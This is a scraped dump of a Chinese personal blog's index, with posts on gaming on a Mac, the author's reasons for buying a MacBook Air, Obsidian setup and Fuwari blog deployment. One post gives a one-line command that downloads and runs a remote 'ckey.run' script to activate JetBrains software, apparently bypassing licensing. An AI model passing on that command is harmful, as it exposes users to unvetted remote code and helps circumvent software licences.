src=\"/posts/mac-gal/img/mac-gal-5.webp\"\u003e\n此时你已经完成90%的步骤了，你已经可以把你的Mac当Windows用啦！但是为了让后续的游戏能顺利运行，我们还是要装一下必要的运行库\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://zhangyue667.lanzouh.com/DirectXRepairEnhanced\"\u003ehttps://zhangyue667.lanzouh.com/DirectXRepairEnhanced\u003c/a\u003e 下载并解压运行DX修复工具。运行后，程序会自动安装DX9和VC++运行库，这足以保障大部分游戏顺利运行！\u003c/p\u003e\n\u003cp\u003e如果遇到游戏打不开或第一次能打开后续打不开，请按需配置微软仿真\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/mac-gal/img/mac-gal-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e现在，享受吧！\u003c/p\u003e","title":"在Mac上玩GalGame竟如此简单！"},{"content":"我为什么决定买一个Mac 首先，就是老生常谈的，新鲜感，但是我也不是没用过Mac，在过年那会买过MacMini，但是当时并不是把他当做一个生产力工具，而是当做一个家庭服务器来使用。用了几天就发现几个问题，一是Mac做服务器不常见，而且很多在Linux上能够点点就部署的东西，比如1Panel面板，在Mac上就需要手动配置；二是我本身的NAS负载服务就不多，基本就一个QQBot，没必要花一个3k多买一个艺术品来当家庭服务器来使用。\n然后就说到为什么这次又买了一个Mac，这其实原因有点离谱。导火索是因为当时有一天跟我的朋友打了一晚上游戏，打了个通宵，又因为朋友比较菜打得比较折磨，而且第二天还有早八的课，一下就干到了早上4点，顺理成章的，第二天一整天都是懵懵的。第二天回家后就想着，我从来没有觉得玩游戏开心过 然后一气之下把成年礼的钱拿来买了个Mac\u0026hellip;\n根本原因是，我发现居家的这6个月我并不依赖游戏，在居家的那段时间，我用最多的软件应该是 Trae ，天天用它造轮子，造小玩具，写Serverless程序，给网站装饰装饰，没事就再做做视频拿点外快。游戏并不是说一次没玩过，也有个别几周天天game。但总体来说打游戏占总空闲时间的占比不高，并且大部分情况都是朋友拉我玩。我也不知道在什么时候形成了一个观念，可能是ChatGPT 3.5出来的那段时间吧，就觉得，我如果把打游戏的时间拿来写写代码折腾折腾网站，这件事既是我喜爱做的，又能提升我的知识水平，以后的学习也就更容易。而打游戏，一不是我自发性的想打，二是仔细想想，打一天游戏能获得什么？段位？有什么用？能换钱吗？甚至打一天段位还会负增长；反过来想，写一天代码或者说折腾一天网站能获得什么？能获得技术经验，能丰富知识储备，然后我还可以把我懂的我理解的知识分享给大家，比如写文章做视频，有时候顺便还能拿点小钱。另外一方面点原因就是 开学 ，讲点题外话吧，虽然我上的是大专院校，但是离家并不远，仅20km左右，并且入校第一天我就觉得宿舍环境太差，然后导员在当天也公布了可以办走读的消息，我遂在2天后就办了走读。虽说离家并不远，但是一趟去程也要个1小时，回程又要个1小时。虽说时间并不长，但是在大一新生的课程紧密的情况下，情况就有点不乐观了。尽管走读生不需要住宿，也就是不需要将被子啊生活用品啊带到学校来，但是俗话说，现代人类不能离身的有三个东西，移动电话、网络、电。但是我们学的是计算机专业，而我本人也早就涉猎了这个专业，那么 笔记本电脑 要在学校-家来回跑是必不可少的。有人就说，你们学校没有机房吗？当然有，性能还不差，自备电脑对于其他同学的应用场景可能是上了一天课了，回寝室跟舍友开黑打游戏；而对我的使用场景就截然不同了，根据上文提到的，我对打游戏并不是刚需，电脑对于我来说更像是一个项目操控工具，我用电脑就是跟他们打交道：比如VSC（Trae）写代码、Github提交代码、黑曜石（Obsidian）写文章、OBS录视频、剪映剪视频，浏览器发视频或者干点别的。这些事情本来在放假那段时间是全天都可以干的，比如早上8点醒了，点个外卖，然后开电脑看看QQ聊聊天，中午吃个饭开始看看昨天写的代码，修修补补到晚上，再吃个饭然后睡觉，整体的时间是非常灵活的。但是，开学后，由于每天的课是在不同的时间上，有可能上个早八，让你休息3小时再上下午的课，那么这个三小时干什么呢？有人会说，午休啊，睡个觉不爽吗，而我的评价是，太诡异了 都走读生了，晚上最早4点到家最晚11点到家，那么软那么大的床，倒头就睡睡足8小时然后再上下一个早八，你还能困吗？而且因为我是走读，我是没有床铺的，如果想要睡觉，要不趴桌子上（腰疼腿麻），要不躺地上（挡人走路而且硌得慌）。但是话又说回来了，Win本动辄2-3kg的重量加上游戏本特有的风扇吵机体烫，我是不想带这个活爹两头跑的，它就好好的在家伪装台式机就好了。综上，在那段时间我的在校中午时间，不是找点小游戏，就是刷视频，有一种感觉能干点什么事但是又因为没有工具所以无能为力。根据种种原因，再加上那天那几个b真的是太菜了，我在拿生命提你的分，你在拿我的生命给我看你的唐人操作。所以，我入手了这台Mac，并且 将旧Win本 扔转转上了（别问我为什么扔转转，一是因为广告铺天盖地的已经刻进DNA了，二是曾经用过爱回收和闲鱼等平台，这次想换个平台了）。关于为什么要把旧Win本卖了，这个原因其实非常简单，因为如果这个Win本还在，一是双机到底要如何协作？二是Mac的刚需没这么强。简单来说就是旧的不去，新的不来\nMac相比与Win的区别？ 轻。我这台MacBook Air M4仅1.24kg，相比于之前的Win本（机械革命 极光 X）标称了2.2kg（我觉得没这么轻），Mac单手即可提起来，放在包里面甚至感觉没有书重 小。这个主要是因为我买的是Air，它是13寸的，虽然比我之前的Win本小（大部分情况我也不会用Win本的内嵌显示屏，都是接显示器用的）。但是得益于Apple的高色准2K屏，显示效果仍然很细腻\n续航长。这个真的没得黑，得益于Apple现在将Mac的CPU全部替换为了Arm架构的自研芯片M系列，续航真的很长，一般一台Win本拔电几小时电量可能就掉完了，但是Mac早上充满电，带去出勤上班上学不插电真的是妥妥用一天（当然，你不能用一些高功耗软件），我这台Mac标称的续航是18h，我觉得已经完全够用了\nMac的特色？ 系统。我觉得Mac的系统，也就是macOS在Linux和Windows之间。它既不是Linux（如：Debian）那样的毛坯房，也不是Windows的那种啥都能干。在Mac上，如果你打开终端，你会发现很多操作特别像Linux和Windows，比如Mac有AppStore，对标Windows的Microsoft Store，但是Mac还有brew，就像Debian Linux的apt包管理器（同时也像Windows的第三方包管理器Scoop。当然，Scoop还是效仿apt等Linux包管理器，而不是对标Mac）比如你想安装 NodeJS ，只需要先把 brew 装上，然后终端运行 brew install nodejs 即可 权限管理。在Mac上，软件安装后很类似安卓的“沙盒”机制，所有越权访问都需要用户的授权，你可能会说，这在现代操作系统上不是基本功吗。但是，如果你用过Windows的QQ你就会知道，一旦QQ安装完毕，当你把QQ最小化到托盘后，如果有新通知，那么QQ立马会调用Windows的通知API向你发送一条通知。但是在Mac上不是这样，在QQ安装完毕后，系统会提示该软件需要使用通知权限，点进这个系统通知后，你会被导航到设置-通知，此时，你能看到QQ的通知权限是关的，你必须手动将其打开，该软件才能在后续给你推送通知，否则，这将是有关于QQ的最后一次通知 生态。有人说，Mac有什么生态，封闭的要死，是死是活都要看Apple脸色。确实，App Store的审核及其严格，我目前安装的大部分软件都并未上架到AppStore，但是，这并不代表Mac上软件生态烂。在Mac上，安装软件有三种方式，1.AppStore 2.浏览器下载 .dmg 文件，双机后拖放到应用程序文件夹 3.浏览器下载 .pkg 文件，双击后会弹出安装向导，一路下一步即可完成安装。绝大多数软件都是使用后两种方式安装的，其实主要还是AppStore上的软件要交苹果开发者税，而第三方侧载就不用考虑这么多了。当然，毕竟换了一个系统，对于小开发者做的开源软件，可能并没有给Mac打包一个预构建的文件，这就需要你拉源码来自己编译运行了，比如 https://github.com/WEIFENG2333/VideoCaptioner ，这有时候也是好事，能帮助你了解软件开发、构建与发布 Mac的快速上手 安装Brew（类似Debian Linux的apt高级软件包管理器）。安装完毕后即可用 brew install python 来安装各个软件包了\n/bin/zsh -c \u0026#34;$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)\u0026#34; Mac默认的Python3.9，太老了，使用brew可以安装最新版的Python，但是并不会替换环境变量，需要使用Brew的链接命令替换默认环境变量。之后重启终端即可 在正规开发环境应当使用Anaconda或者Poetry等版本控制/虚拟环境软件来管理，盲目升级Python版本可能会造成一些系统问题\nbrew link python@3.13 --force JB系列软件一件激活\ncurl -L -o ckey.run ckey.run \u0026amp;\u0026amp; bash ckey.run 未完待续\u0026hellip; 我写不动了，\n2025/09/30 11:28 第一次修订\n2025/09/30 11:44 第2次修订。黑曜石的单次换行Fuwari不认，需要手动多加一次换行，不然全拼一行去了.\n","permalink":"https://blog.2x.nz/posts/mac/","summary":"\u003ch1 id=\"我为什么决定买一个mac\"\u003e我为什么决定买一个Mac\u003c/h1\u003e\n\u003cp\u003e首先，就是老生常谈的，新鲜感，但是我也不是没用过Mac，在过年那会买过MacMini，但是当时并不是把他当做一个生产力工具，而是当做一个家庭服务器来使用。用了几天就发现几个问题，一是Mac做服务器不常见，而且很多在Linux上能够点点就部署的东西，比如1Panel面板，在Mac上就需要手动配置；二是我本身的NAS负载服务就不多，基本就一个QQBot，没必要花一个3k多买一个艺术品来当家庭服务器来使用。\u003c/p\u003e\n\u003cp\u003e然后就说到为什么这次又买了一个Mac，这其实原因有点离谱。导火索是因为当时有一天跟我的朋友打了一晚上游戏，打了个通宵，又因为朋友比较菜打得比较折磨，而且第二天还有早八的课，一下就干到了早上4点，顺理成章的，第二天一整天都是懵懵的。第二天回家后就想着，\u003cstrong\u003e我从来没有觉得玩游戏开心过\u003c/strong\u003e 然后一气之下把成年礼的钱拿来买了个Mac\u0026hellip;\u003c/p\u003e\n\u003cp\u003e根本原因是，我发现居家的这6个月我并不依赖游戏，在居家的那段时间，我用最多的软件应该是 \u003cstrong\u003eTrae\u003c/strong\u003e ，天天用它造轮子，造小玩具，写Serverless程序，给网站装饰装饰，没事就再做做视频拿点外快。游戏并不是说一次没玩过，也有个别几周天天game。但总体来说打游戏占总空闲时间的占比不高，并且大部分情况都是朋友拉我玩。我也不知道在什么时候形成了一个观念，可能是ChatGPT 3.5出来的那段时间吧，就觉得，我如果把打游戏的时间拿来写写代码折腾折腾网站，这件事既是我喜爱做的，又能提升我的知识水平，以后的学习也就更容易。而打游戏，一不是我自发性的想打，二是仔细想想，打一天游戏能获得什么？段位？有什么用？能换钱吗？甚至打一天段位还会负增长；反过来想，写一天代码或者说折腾一天网站能获得什么？能获得技术经验，能丰富知识储备，然后我还可以把我懂的我理解的知识分享给大家，比如写文章做视频，有时候顺便还能拿点小钱。另外一方面点原因就是 \u003cstrong\u003e开学\u003c/strong\u003e ，讲点题外话吧，虽然我上的是大专院校，但是离家并不远，仅20km左右，并且入校第一天我就觉得宿舍环境太差，然后导员在当天也公布了可以办走读的消息，我遂在2天后就办了走读。虽说离家并不远，但是一趟去程也要个1小时，回程又要个1小时。虽说时间并不长，但是在大一新生的课程紧密的情况下，情况就有点不乐观了。尽管走读生不需要住宿，也就是不需要将被子啊生活用品啊带到学校来，但是俗话说，现代人类不能离身的有三个东西，移动电话、网络、电。但是我们学的是计算机专业，而我本人也早就涉猎了这个专业，那么 \u003cstrong\u003e笔记本电脑\u003c/strong\u003e 要在学校-家来回跑是必不可少的。有人就说，你们学校没有机房吗？当然有，性能还不差，自备电脑对于其他同学的应用场景可能是上了一天课了，回寝室跟舍友开黑打游戏；而对我的使用场景就截然不同了，根据上文提到的，我对打游戏并不是刚需，电脑对于我来说更像是一个项目操控工具，我用电脑就是跟他们打交道：比如VSC（Trae）写代码、Github提交代码、黑曜石（Obsidian）写文章、OBS录视频、剪映剪视频，浏览器发视频或者干点别的。这些事情本来在放假那段时间是全天都可以干的，比如早上8点醒了，点个外卖，然后开电脑看看QQ聊聊天，中午吃个饭开始看看昨天写的代码，修修补补到晚上，再吃个饭然后睡觉，整体的时间是非常灵活的。但是，开学后，由于每天的课是在不同的时间上，有可能上个早八，让你休息3小时再上下午的课，那么这个三小时干什么呢？有人会说，午休啊，睡个觉不爽吗，而我的评价是，\u003cstrong\u003e太诡异了\u003c/strong\u003e 都走读生了，晚上最早4点到家最晚11点到家，那么软那么大的床，倒头就睡睡足8小时然后再上下一个早八，你还能困吗？而且因为我是走读，我是没有床铺的，如果想要睡觉，要不趴桌子上（腰疼腿麻），要不躺地上（挡人走路而且硌得慌）。但是话又说回来了，Win本动辄2-3kg的重量加上游戏本特有的风扇吵机体烫，我是不想带这个活爹两头跑的，它就好好的在家伪装台式机就好了。综上，在那段时间我的在校中午时间，不是找点小游戏，就是刷视频，有一种感觉能干点什么事但是又因为没有工具所以无能为力。根据种种原因，再加上那天那几个b真的是太菜了，我在拿生命提你的分，你在拿我的生命给我看你的唐人操作。所以，我入手了这台Mac，并且 \u003cstrong\u003e将旧Win本\u003c/strong\u003e 扔转转上了（别问我为什么扔转转，一是因为广告铺天盖地的已经刻进DNA了，二是曾经用过爱回收和闲鱼等平台，这次想换个平台了）。关于为什么要把旧Win本卖了，这个原因其实非常简单，因为如果这个Win本还在，一是双机到底要如何协作？二是Mac的刚需没这么强。简单来说就是旧的不去，新的不来\u003c/p\u003e\n\u003ch1 id=\"mac相比与win的区别\"\u003eMac相比与Win的区别？\u003c/h1\u003e\n\u003cp\u003e轻。我这台MacBook Air M4仅1.24kg，相比于之前的Win本（机械革命 极光 X）标称了2.2kg（我觉得没这么轻），Mac单手即可提起来，放在包里面甚至感觉没有书重\n小。这个主要是因为我买的是Air，它是13寸的，虽然比我之前的Win本小（大部分情况我也不会用Win本的内嵌显示屏，都是接显示器用的）。但是得益于Apple的高色准2K屏，显示效果仍然很细腻\u003c/p\u003e\n\u003cp\u003e续航长。这个真的没得黑，得益于Apple现在将Mac的CPU全部替换为了Arm架构的自研芯片M系列，续航真的很长，一般一台Win本拔电几小时电量可能就掉完了，但是Mac早上充满电，带去出勤上班上学不插电真的是妥妥用一天（当然，你不能用一些高功耗软件），我这台Mac标称的续航是18h，我觉得已经完全够用了\u003c/p\u003e\n\u003ch1 id=\"mac的特色\"\u003eMac的特色？\u003c/h1\u003e\n\u003cp\u003e系统。我觉得Mac的系统，也就是macOS在Linux和Windows之间。它既不是Linux（如：Debian）那样的毛坯房，也不是Windows的那种啥都能干。在Mac上，如果你打开终端，你会发现很多操作特别像Linux和Windows，比如Mac有AppStore，对标Windows的Microsoft Store，但是Mac还有brew，就像Debian Linux的apt包管理器（同时也像Windows的第三方包管理器Scoop。当然，Scoop还是效仿apt等Linux包管理器，而不是对标Mac）比如你想安装 \u003cstrong\u003eNodeJS\u003c/strong\u003e ，只需要先把 \u003ccode\u003ebrew\u003c/code\u003e 装上，然后终端运行 \u003ccode\u003ebrew install nodejs\u003c/code\u003e 即可\n\u003cimg loading=\"lazy\" src=\"/posts/mac/img/mac-2.webp\"\u003e\n权限管理。在Mac上，软件安装后很类似安卓的“沙盒”机制，所有越权访问都需要用户的授权，你可能会说，这在现代操作系统上不是基本功吗。但是，如果你用过Windows的QQ你就会知道，一旦QQ安装完毕，当你把QQ最小化到托盘后，如果有新通知，那么QQ立马会调用Windows的通知API向你发送一条通知。但是在Mac上不是这样，在QQ安装完毕后，系统会提示该软件需要使用通知权限，点进这个系统通知后，你会被导航到设置-通知，此时，你能看到QQ的通知权限是关的，你必须手动将其打开，该软件才能在后续给你推送通知，否则，这将是有关于QQ的最后一次通知\n\u003cimg loading=\"lazy\" src=\"/posts/mac/img/mac-1.webp\"\u003e\n生态。有人说，Mac有什么生态，封闭的要死，是死是活都要看Apple脸色。确实，App Store的审核及其严格，我目前安装的大部分软件都并未上架到AppStore，但是，这并不代表Mac上软件生态烂。在Mac上，安装软件有三种方式，1.AppStore 2.浏览器下载 \u003ccode\u003e.dmg\u003c/code\u003e 文件，双机后拖放到应用程序文件夹 3.浏览器下载 \u003ccode\u003e.pkg\u003c/code\u003e 文件，双击后会弹出安装向导，一路下一步即可完成安装。绝大多数软件都是使用后两种方式安装的，其实主要还是AppStore上的软件要交苹果开发者税，而第三方侧载就不用考虑这么多了。当然，毕竟换了一个系统，对于小开发者做的开源软件，可能并没有给Mac打包一个预构建的文件，这就需要你拉源码来自己编译运行了，比如 \u003ccode\u003ehttps://github.com/WEIFENG2333/VideoCaptioner\u003c/code\u003e ，这有时候也是好事，能帮助你了解软件开发、构建与发布\n\u003cimg loading=\"lazy\" src=\"/posts/mac/img/mac-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/mac/img/mac-4.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"mac的快速上手\"\u003eMac的快速上手\u003c/h1\u003e\n\u003cp\u003e安装Brew（类似Debian Linux的apt高级软件包管理器）。安装完毕后即可用 \u003ccode\u003ebrew install python\u003c/code\u003e 来安装各个软件包了\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/bin/zsh -c \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003ecurl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eMac默认的Python3.9，太老了，使用brew可以安装最新版的Python，但是并不会替换环境变量，需要使用Brew的链接命令替换默认环境变量。之后重启终端即可\n\u003cem\u003e在正规开发环境应当使用Anaconda或者Poetry等版本控制/虚拟环境软件来管理，盲目升级Python版本可能会造成一些系统问题\u003c/em\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebrew link python@3.13 --force\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eJB系列软件一件激活\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl -L -o ckey.run ckey.run \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e bash ckey.run\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"未完待续\"\u003e未完待续\u0026hellip;\u003c/h1\u003e\n\u003cp\u003e我写不动了，\u003c/p\u003e","title":"我为什么要买个Mac"},{"content":" 视频链接： https://www.bilibili.com/video/BV1C7pDzpEHY\n下载 前往 Download - Obsidian 下载对应你系统版本的软件。安装界面就可以选择语言为 简体中文\n初次上手 Obsidian（下文简称“黑曜石”）将每一个存放了多个MarkDown文件的文件夹都叫做 仓库\n首先，点击左下角的 Obsidian Vault 然后点击 管理仓库 ，然后根据你所需要的情况进行选择 黑曜石会在每个仓库下创建 .obsidian ，存放了工作区的配置信息 注意： 黑曜石的配置都是针对于单个仓库的，若该配置文件丢失你需要重新配置黑曜石。所以，请确保写文章时不要频繁更改仓库\n针对于Fuwari的图片配置 首先我们要知道几个坑点\n黑曜石对图片默认是 内部链接 ，该链接的路径配置在私有配置文件实现，仅在黑曜石内可见 黑曜石对图片默认是 带空格的链接 ，部分框架不支持转义空格导致找不到图片 首先，确保你将 src/content 作为仓库根目录，因为 src/content/posts 存放博客文章，而 src/content/spec 存放关于等特殊MarkDown页面，他们都可能需要依赖图片，所以建议将仓库设置在他们的上一级文件夹。我们的图片将存放在 src/contentimg 在 posts 或 spec 的相对路径引用格式则为 img/xxx.webp （不用担心，黑曜石会自动管理，你无需手打） 点击 设置 如图配置，这样我们就解决了第一个问题 关于第二个问题，黑曜石本身并不支持通过变量来控制图片名，我们需要借助第三方插件来实现 首先，我们需要关闭 安全模式 依次 设置 - 第三方插件 - 安全模式（关闭） 然后依次 设置 - 第三方插件 - 社区插件市场（浏览） 安装 Paste image rename 并 启用 再次前往 设置 ，在最底下就会有一个专门配置第三方插件的配置项目 第一个 Image name pattern 不用动，如果你要更改，请确保你知道自己在做什么，该配置描述已经非常详细了 第二个 Auto rename ，将它打开，如果你不想每粘贴一个图片就弹出一个对话框让你输入图片名称的话 接下来，尝试使用任一截图工具，如 QQ截图 ，截图后使用 Ctrl+V 粘贴进文章，你应当能看到类似这样的图片链接了 ![](img/obsidian.webp) 黑曜石如何强大？ published 字段可以通过点点点实现 通用字段可以直接填充曾经写过的 tags 字段只需要你专注于标签，无需再手动管理格式 布尔字段通过勾选来处理 true 和 false ","permalink":"https://blog.2x.nz/posts/obsidian/","summary":"\u003cblockquote\u003e\n\u003cp\u003e视频链接： \u003ca href=\"https://www.bilibili.com/video/BV1C7pDzpEHY\"\u003ehttps://www.bilibili.com/video/BV1C7pDzpEHY\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"下载\"\u003e下载\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://obsidian.md/download\"\u003eDownload - Obsidian\u003c/a\u003e 下载对应你系统版本的软件。安装界面就可以选择语言为 \u003cstrong\u003e简体中文\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"初次上手\"\u003e初次上手\u003c/h1\u003e\n\u003cp\u003eObsidian（下文简称“黑曜石”）将每一个存放了多个MarkDown文件的文件夹都叫做 \u003cstrong\u003e仓库\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e首先，点击左下角的 \u003cstrong\u003eObsidian  Vault\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-1.webp\"\u003e\n然后点击 \u003cstrong\u003e管理仓库\u003c/strong\u003e ，然后根据你所需要的情况进行选择\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-2.webp\"\u003e\n黑曜石会在每个仓库下创建 \u003ccode\u003e.obsidian\u003c/code\u003e ，存放了工作区的配置信息\n\u003cstrong\u003e注意：\u003c/strong\u003e 黑曜石的配置都是针对于单个仓库的，若该配置文件丢失你需要重新配置黑曜石。所以，请确保写文章时不要频繁更改仓库\u003c/p\u003e\n\u003ch1 id=\"针对于fuwari的图片配置\"\u003e针对于Fuwari的图片配置\u003c/h1\u003e\n\u003cp\u003e首先我们要知道几个坑点\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e黑曜石对图片默认是 \u003cstrong\u003e内部链接\u003c/strong\u003e ，该链接的路径配置在私有配置文件实现，仅在黑曜石内可见\u003c/li\u003e\n\u003cli\u003e黑曜石对图片默认是 \u003cstrong\u003e带空格的链接\u003c/strong\u003e ，部分框架不支持转义空格导致找不到图片\n首先，确保你将 \u003ccode\u003esrc/content\u003c/code\u003e 作为仓库根目录，因为 \u003ccode\u003esrc/content/posts\u003c/code\u003e 存放博客文章，而 \u003ccode\u003esrc/content/spec\u003c/code\u003e 存放关于等特殊MarkDown页面，他们都可能需要依赖图片，所以建议将仓库设置在他们的上一级文件夹。我们的图片将存放在 \u003ccode\u003esrc/contentimg\u003c/code\u003e 在 \u003ccode\u003eposts\u003c/code\u003e 或 \u003ccode\u003espec\u003c/code\u003e 的相对路径引用格式则为 \u003ccode\u003eimg/xxx.webp\u003c/code\u003e （不用担心，黑曜石会自动管理，你无需手打）\n点击 \u003cstrong\u003e设置\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-3.webp\"\u003e\n如图配置，这样我们就解决了第一个问题\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-4.webp\"\u003e\n关于第二个问题，黑曜石本身并不支持通过变量来控制图片名，我们需要借助第三方插件来实现\n首先，我们需要关闭 \u003cstrong\u003e安全模式\u003c/strong\u003e\n依次 \u003ccode\u003e设置 - 第三方插件 - 安全模式（关闭）\u003c/code\u003e\n然后依次 \u003ccode\u003e设置 - 第三方插件 - 社区插件市场（浏览）\u003c/code\u003e\n安装 \u003ccode\u003ePaste image rename\u003c/code\u003e 并 \u003cstrong\u003e启用\u003c/strong\u003e\n再次前往 \u003cstrong\u003e设置\u003c/strong\u003e ，在最底下就会有一个专门配置第三方插件的配置项目\n第一个 \u003ccode\u003eImage name pattern\u003c/code\u003e 不用动，如果你要更改，请确保你知道自己在做什么，该配置描述已经非常详细了\n第二个 \u003ccode\u003eAuto rename\u003c/code\u003e ，将它打开，如果你不想每粘贴一个图片就弹出一个对话框让你输入图片名称的话\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-5.webp\"\u003e\n接下来，尝试使用任一截图工具，如 \u003cstrong\u003eQQ截图\u003c/strong\u003e ，截图后使用 \u003cstrong\u003eCtrl+V\u003c/strong\u003e 粘贴进文章，你应当能看到类似这样的图片链接了\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\u003cspan style=\"color:#f92672\"\u003e[](\u003c/span\u003eimg/obsidian.webp\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"黑曜石如何强大\"\u003e黑曜石如何强大？\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003epublished\u003c/code\u003e 字段可以通过点点点实现\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-6.webp\"\u003e\n通用字段可以直接填充曾经写过的\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-7.webp\"\u003e\n\u003ccode\u003etags\u003c/code\u003e 字段只需要你专注于标签，无需再手动管理格式\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-8.webp\"\u003e\n布尔字段通过勾选来处理 \u003ccode\u003etrue\u003c/code\u003e 和 \u003ccode\u003efalse\u003c/code\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/obsidian/img/obsidian-9.webp\"\u003e\u003c/p\u003e","title":"现代！易上手！高效！且社区支持的超高校级的MarkDown编辑器！"},{"content":"你需要准备的东西 一点基础的折腾能力。遇到问题先自己排查，实在解决不了再搜索或借助 AI，这样搭建过程会顺利很多。\nGit - Downloads (git-scm.com)：用于管理本地代码并与 GitHub 仓库同步。如果你更习惯图形界面，也可以尝试 GitHub Desktop | Simple collaboration from your desktop。\nNode.js — Run JavaScript Everywhere (nodejs.org)：Fuwari 基于 Node.js，因此需要先安装它。\n一个 GitHub 账号：用于创建仓库并托管 Fuwari 项目文件。\n一个 Cloudflare 账号：用于创建 Pages 项目并绑定域名。\n黑曜石（Obsidian）：这是一个可视化 Markdown 编辑器。由于 Fuwari 的文章和页面都以 Markdown 文件保存，准备一个顺手的编辑器会方便很多。\n需要会一些基础的 Markdown 语法。如果暂时不熟悉，可以先看这个教程：Markdown 基本语法 | Markdown 官方教程。\n流程图 本地部署Fuwari，编写文章 -\u0026gt; 推送更改到远程Github仓库 -\u0026gt; Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -\u0026gt; 网站成功更改\n让我们开始吧 首先，在本地部署 Fuwari Fork仓库：\nhttps://github.com/saicaca/fuwari\n如果你不熟悉 Fork 仓库的流程，可以参考下面的图片教程。\n然后将仓库克隆到本地：git clone \u0026lt;你的仓库URL\u0026gt;。如果可以使用 SSH，后续推送通常会更方便。\n先全局安装 pnpm：npm install -g pnpm。如果 npm 在国内下载较慢，可以尝试切换镜像源，例如 npmmirror 镜像站。\n接着在项目根目录安装依赖：pnpm install 和 pnpm add sharp。\n完成以上步骤后，Fuwari 就已经成功部署到本地了。\n[!TIP]\n你也可以使用创建一个新的空仓库然后手动上传文件，并且可以将仓库可见性设为：Private\n改写Fuwari的基本信息并且清理多余文件 刚创建的 Fuwari 可能带有默认的博主名称、图标、链接、简介和示例文章。为了让站点更符合你的使用场景，建议先把这些内容改成自己的信息。\n在根目录的 src 文件夹中找到 config.ts，这里是站点的核心配置文件。\ntitle：你的博客主标题\nsubtitle：你的博客副标题。可选，在首页会显示为“主标题 - 副标题”\nlang：博客显示语言。注释里已经列出了一些常见值，例如 en、zh_CN、zh_TW、ja、ko\nthemeColor：hue 表示博客主题色。你可以先在博客右上角的调色板里挑选喜欢的颜色，再把数值写回配置中。\nbanner：src：即banner图片，支持http/https URL\nfavicon：src：即网站图标，支持http/https URL\nlinks：即友情链接，这些链接在导航栏上\navatar：你的头像\nname：你的名字\nbio：个性签名，会显示在头像和名字下方\nNavBarConfig 用于配置导航栏链接，ProfileConfig 用于配置个人资料区域的链接，效果如下图所示。\nicon：你可以前往 icones.js 搜索想要的图标。例如 QQ 可以填写 fa6-brands:qq。Fuwari 默认支持 fa6-brands、fa6-regular、fa6-solid、material-symbols 等类型，必要时也可以在 astro.config.mjs 中继续扩展。\n这里我附上我的 config.ts\nimport type { LicenseConfig, NavBarConfig, ProfileConfig, SiteConfig, } from \u0026#39;./types/config\u0026#39; import { LinkPreset } from \u0026#39;./types/config\u0026#39; export const siteConfig: SiteConfig = { title: \u0026#39;AcoFork Blog\u0026#39;, subtitle: \u0026#39;爱你所爱！\u0026#39;, lang: \u0026#39;zh_CN\u0026#39;, // \u0026#39;en\u0026#39;, 